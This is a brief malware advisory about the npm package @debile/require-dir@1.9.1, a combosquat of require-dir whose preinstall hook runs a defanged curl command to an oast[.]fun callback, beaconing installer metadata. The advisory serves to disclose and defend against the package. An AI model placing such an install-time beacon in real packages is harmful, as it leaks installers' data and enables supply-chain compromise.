@debile/require-dir@1.9.1

Analysis

@debile/require-dir@1.9.1 is a combosquat of the legitimate require-dir package. The preinstall lifecycle hook executes `curl hxxps://xgtktsypnmotaeqmgvdmqvxn785fypaau[.]oast[.]fun` on every install, beaconing installer metadata (IP address, user-agent, timing) to an attacker-controlled oast[.]fun callback endpoint. The bundled application code is a clean copy of the real require-dir module; the malicious behaviour is confined to the install hook.